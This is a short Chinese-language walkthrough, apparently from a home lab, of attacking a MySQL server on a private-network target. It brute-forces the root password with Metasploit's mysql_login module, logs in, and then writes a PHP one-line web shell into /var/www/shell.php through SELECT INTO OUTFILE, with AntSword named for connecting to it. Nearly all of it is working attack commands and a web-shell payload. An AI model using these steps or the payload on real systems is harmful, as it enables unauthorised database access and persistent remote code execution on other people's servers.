192.168.0.241 #本机IP
192.168.0.115 #靶机IP
先使用nmap工具对靶机进行扫描,发现3306端口开放,我这里用的是Windows下的zenmap工具
启动msfconsole(kali环境下自带)
search mysql_login #使用此模块
use 0
show options #查看参数
set pass_file D:/metasploit-framework/pass.txt #设置字典
set rhosts 192.168.0.115 #设置靶机地址
set username root #设置用户名
exploit #开始攻击
爆破出用户名root,密码123456
mysql -h 192.168.0.115 -u root -p #登录
如果是网站的数据库,还可以写入一句话木马,用中国蚁剑等工具连接
select '<?php @eval($_POST['a']);?>' into outfile '/var/www/shell.php';